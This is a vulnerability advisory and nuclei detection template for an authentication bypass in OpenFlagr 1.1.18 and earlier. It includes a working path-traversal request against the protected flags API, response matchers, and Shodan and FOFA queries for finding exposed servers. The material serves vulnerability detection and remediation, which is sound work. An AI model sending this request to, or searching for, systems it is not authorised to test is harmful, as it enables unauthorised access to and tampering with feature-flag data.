OpenFlagr <= 1.1.18 - Authentication Bypass

criticalseverity

9.3CVSS score

1.5%likelihood of exploitation, next 30 days

75%of all CVEs are less likely

Readycheck to confirm it

OpenFlagr <= 1.1.18 contains an authentication bypass caused by improper path normalization handling in HTTP middleware whitelist logic, letting attackers access protected API endpoints without valid credentials, exploit requires crafted requests.

Impact

Attackers can bypass authentication to modify feature flags and export sensitive data, compromising system integrity and confidentiality.

Fix

Update to the latest version beyond 1.1.18.

How to confirm it

Send: GET /api/v1/health/../flags
Positive when: status_code == 200 and contains_all(body, "\"dataRecordsEnabled\"", "\"variants\"", "\"key\"")

Run it with nuclei: nuclei -id CVE-2026-0650 -u <target>

The full check

id: CVE-2026-0650

info:
  name: OpenFlagr <= 1.1.18 - Authentication Bypass
  author: str4k3r
  severity: critical
  description: |
    OpenFlagr <= 1.1.18 contains an authentication bypass caused by improper path normalization handling in HTTP middleware whitelist logic, letting attackers access protected API endpoints without valid credentials, exploit requires crafted requests.
  impact: |
    Attackers can bypass authentication to modify feature flags and export sensitive data, compromising system integrity and confidentiality.
  remediation: |
    Update to the latest version beyond 1.1.18.
  reference:
    - https://github.com/advisories/GHSA-rwp9-5g7q-73q3
    - https://github.com/openflagr/flagr/commit/fe83dc87aa404a57554aa5839ac450f55c203570
    - https://dreyand.rs/code%20review/golang/2026/01/03/0day-speedrun-openflagr-less-1118-authentication-bypass
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0650
  classification:
    cve-id: CVE-2026-0650
    epss-score: 0.01519
    epss-percentile: 0.74787
    cwe-id: CWE-22
    cvss-score: 9.3
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  metadata:
    vendor: openflagr
    product: flagr
    verified: true
    max-request: 1
    shodan-query: http.html:"Flagr"
    fofa-query: body="Flagr"
  tags: cve,cve2026,openflagr,authbypass,unauth,traversal

http:
  - raw:
      - |
        GET /api/v1/health/../flags HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"dataRecordsEnabled\"", "\"variants\"", "\"key\"")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from